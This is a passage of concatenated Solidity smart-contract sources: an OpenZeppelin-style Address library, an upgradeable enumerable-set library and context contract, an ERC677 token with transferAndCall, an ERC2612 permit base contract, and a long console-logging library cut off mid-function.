cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import './IERC677.sol'; import './IERC677Receiver.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; contract ERC677Upgradeable is Initializable, IERC677, ERC20Upgradeable { /** * @dev Sets the values for {_name} and {_symbol}, initializes {_decimals} with * a default value of 18. And mints {_initialBalance} to address {_initialAccount} * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC677_init( address _initialAccount, uint256 _initialBalance, string memory _name, string memory _symbol ) internal initializer { __ERC20_init(_name, _symbol); if (_initialBalance != 0) { _mint(_initialAccount, _initialBalance); } } /** * @dev check if an address is a contract. * @param _addr The address to check. */ function isContract(address _addr) private view returns (bool hasCode) { uint256 length; assembly { length := extcodesize(_addr) } return length > 0; } /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall( address _to, uint256 _value, bytes memory _data ) public virtual override returns (bool success) { require(super.transfer(_to, _value), 'ERC677Upgradeable: transfer failed'); if (isContract(_to)) { IERC677Receiver(_to).onTokenTransfer(msg.sender, _value, _data); } return true; } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; abstract contract ERC2612Upgradeable is Initializable { // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)"); bytes32 public PERMIT_TYPEHASH; string public version; mapping(address => uint256) public nonces; function __ERC2612_init(string memory _EIP712Name) internal initializer { version = '1'; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( 'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)' ), keccak256(bytes(_EIP712Name)), keccak256(bytes(version)), getChainId(), address(this) ) ); PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb; } function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) public virtual; function getChainId() public pure returns (uint256 chainId) { // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal 